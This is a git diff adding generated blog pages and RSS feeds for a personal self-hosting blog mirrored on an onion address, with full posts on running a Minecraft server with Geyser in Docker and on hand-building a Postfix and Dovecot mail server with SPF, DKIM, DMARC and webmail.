    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/categories/devops/page/1/index.html b/public-onion/categories/devops/page/1/index.html new file mode 100644 index 0000000..d17effc --- /dev/null +++ b/public-onion/categories/devops/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/devops/ + + + + + + diff --git a/public-onion/categories/games/index.html b/public-onion/categories/games/index.html new file mode 100644 index 0000000..f093ecc --- /dev/null +++ b/public-onion/categories/games/index.html @@ -0,0 +1,352 @@ + + + + + + + +Games | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/games/index.xml b/public-onion/categories/games/index.xml new file mode 100644 index 0000000..5e455e8 --- /dev/null +++ b/public-onion/categories/games/index.xml @@ -0,0 +1,185 @@ + + + + Games on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/games/ + Recent content in Games on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 29 Sep 2025 09:06:29 +0000 + + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/categories/games/page/1/index.html b/public-onion/categories/games/page/1/index.html new file mode 100644 index 0000000..085ab7a --- /dev/null +++ b/public-onion/categories/games/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/games/ + + + + + + diff --git a/public-onion/categories/guides/index.html b/public-onion/categories/guides/index.html new file mode 100644 index 0000000..ae206a9 --- /dev/null +++ b/public-onion/categories/guides/index.html @@ -0,0 +1,405 @@ + + + + + + + +Guides | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + HedgeDoc collaborative editing +
    +
    +

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt +

    +
    +
    +

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    +
    +
    August 29, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/guides/index.xml b/public-onion/categories/guides/index.xml new file mode 100644 index 0000000..7a305ed --- /dev/null +++ b/public-onion/categories/guides/index.xml @@ -0,0 +1,508 @@ + + + + Guides on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/guides/ + Recent content in Guides on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
